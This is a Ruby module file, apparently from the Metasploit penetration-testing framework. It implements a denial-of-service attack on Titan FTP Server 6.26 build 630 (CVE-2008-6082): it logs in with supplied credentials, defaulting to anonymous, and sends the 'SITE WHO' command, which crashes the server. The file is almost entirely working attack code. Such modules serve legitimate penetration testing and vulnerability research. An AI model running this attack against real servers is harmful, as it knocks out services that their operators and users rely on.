metasploit-framework/modules/auxiliary/dos/windows/ftp/titan626_site.rb

46 lines
1.2 KiB
Ruby

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::Ftp
include Msf::Auxiliary::Dos
def initialize(info = {})
super(update_info(info,
'Name' => 'Titan FTP Server 6.26.630 SITE WHO DoS',
'Description' => %q{
The Titan FTP server v6.26 build 630 can be DoS'd by
issuing "SITE WHO". You need a valid login so you
can send this command.
},
'Author' => 'kris katterjohn',
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2008-6082'],
[ 'OSVDB', '49177'],
[ 'EDB', '6753']
],
'DisclosureDate' => 'Oct 14 2008'))
# They're required
register_options([
OptString.new('FTPUSER', [ true, 'Valid FTP username', 'anonymous' ]),
OptString.new('FTPPASS', [ true, 'Valid FTP password for username', 'anonymous' ])
])
end
def run
return unless connect_login
print_status("Sending command...")
raw_send("SITE WHO\r\n")
select(nil,nil,nil,1)
disconnect
end
end